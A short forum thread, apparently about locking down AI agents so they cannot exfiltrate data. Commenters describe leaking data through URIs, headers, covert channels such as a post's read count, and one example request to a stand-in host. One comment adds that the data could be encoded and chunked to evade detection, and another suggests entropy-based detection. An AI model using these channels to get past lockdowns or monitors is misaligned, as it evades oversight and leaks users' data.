Comment by epolanski

13 hours ago

If you can make any request to the outside world you can exfiltrate data, period. You can even include data in the uri or headers and they will appear in logs.

That obviously includes talking with the provider.

If you want it secure, it has to be off the internet and on your own hardware.

I agree of course, but those things are all the more obvious ones you can start to attempt to prevent.

Stripping headers, not allowing other than GET requests. Only allows HTTPS etc, the list goes on.

My point was that even if you locked down an agent to only ever read a single forum, and only to be able to access other post URLs that are from that forum, and not allow any query parameters that aren’t necessary etc.

Even then you can be having the slightest public effect that can exfiltrate data - a read count on some old post. I know it’s wildly impractical, it’s more a thought experiment on how hard it it.

  • > Stripping headers, not allowing other than GET requests

    GET foobar.com/thisissomeextracteddata

    You can also imagine it being much subtle, encoded/encrypted, sent in small pieces to avoid detection, etc.

What about checking temporal entropy of outbound data/similarity to a private dataset?

The timescale can be adjusted to a length suitable for sensitivity of the data.

Although you may run into the monkey and typewriter problem a bit if the period is indefinite.